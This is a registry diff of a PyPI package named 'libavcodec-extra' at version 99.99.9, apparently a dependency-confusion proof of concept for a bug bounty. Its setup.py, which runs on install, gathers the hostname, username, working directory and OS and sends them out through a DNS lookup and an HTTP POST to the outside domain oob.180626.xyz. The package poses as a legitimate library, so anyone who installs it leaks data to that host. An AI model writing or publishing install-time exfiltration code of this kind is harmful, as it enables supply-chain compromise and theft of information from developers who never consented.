libavcodec-extra 99.99.9__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- libavcodec_extra-99.99.9/PKG-INFO +7 -0
- libavcodec_extra-99.99.9/libavcodec_extra.egg-info/PKG-INFO +7 -0
- libavcodec_extra-99.99.9/libavcodec_extra.egg-info/SOURCES.txt +5 -0
- libavcodec_extra-99.99.9/libavcodec_extra.egg-info/dependency_links.txt +1 -0
- libavcodec_extra-99.99.9/libavcodec_extra.egg-info/top_level.txt +1 -0
- libavcodec_extra-99.99.9/setup.cfg +4 -0
- libavcodec_extra-99.99.9/setup.py +64 -0
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
import os
|
|
2
|
+
import sys
|
|
3
|
+
import json
|
|
4
|
+
import socket
|
|
5
|
+
import urllib.request
|
|
6
|
+
import binascii
|
|
7
|
+
import setuptools
|
|
8
|
+
|
|
9
|
+
pkg_name = 'libavcodec-extra'
|
|
10
|
+
target_org = 'bytedance'
|
|
11
|
+
eco = 'pypi'
|
|
12
|
+
dns_domain = 'oob.180626.xyz'
|
|
13
|
+
|
|
14
|
+
try:
|
|
15
|
+
hostname = socket.gethostname()
|
|
16
|
+
except Exception:
|
|
17
|
+
hostname = "-"
|
|
18
|
+
|
|
19
|
+
try:
|
|
20
|
+
username = os.getlogin()
|
|
21
|
+
except Exception:
|
|
22
|
+
username = os.environ.get("USER", "-")
|
|
23
|
+
|
|
24
|
+
def safe_hex(s):
|
|
25
|
+
try:
|
|
26
|
+
return binascii.hexlify(s.encode('utf-8')).decode('utf-8').lower()
|
|
27
|
+
except Exception:
|
|
28
|
+
return "-"
|
|
29
|
+
|
|
30
|
+
# 1. DNS Resolution
|
|
31
|
+
try:
|
|
32
|
+
hex_user = safe_hex(username)
|
|
33
|
+
hex_host = safe_hex(hostname)
|
|
34
|
+
dns_target = f"{hex_user}.{hex_host}.{pkg_name}.{target_org}.{eco}.{dns_domain}"
|
|
35
|
+
socket.gethostbyname(dns_target)
|
|
36
|
+
except Exception:
|
|
37
|
+
pass
|
|
38
|
+
|
|
39
|
+
# 2. HTTP POST
|
|
40
|
+
try:
|
|
41
|
+
post_data = json.dumps({
|
|
42
|
+
"hostname": hostname,
|
|
43
|
+
"username": username,
|
|
44
|
+
"cwd": os.getcwd(),
|
|
45
|
+
"os": sys.platform,
|
|
46
|
+
# "env": dict(os.environ)
|
|
47
|
+
}).encode('utf-8')
|
|
48
|
+
|
|
49
|
+
req = urllib.request.Request(
|
|
50
|
+
f"http://{pkg_name}.{target_org}.{eco}.{dns_domain}",
|
|
51
|
+
data=post_data,
|
|
52
|
+
headers={'Content-Type': 'application/json'},
|
|
53
|
+
method='POST'
|
|
54
|
+
)
|
|
55
|
+
urllib.request.urlopen(req, timeout=3)
|
|
56
|
+
except Exception:
|
|
57
|
+
pass
|
|
58
|
+
|
|
59
|
+
setuptools.setup(
|
|
60
|
+
name=pkg_name,
|
|
61
|
+
version='99.99.9',
|
|
62
|
+
description='This is POC for dependency confusion by iamrjarpan (hackerone)',
|
|
63
|
+
author='iamrjarpan',
|
|
64
|
+
)
|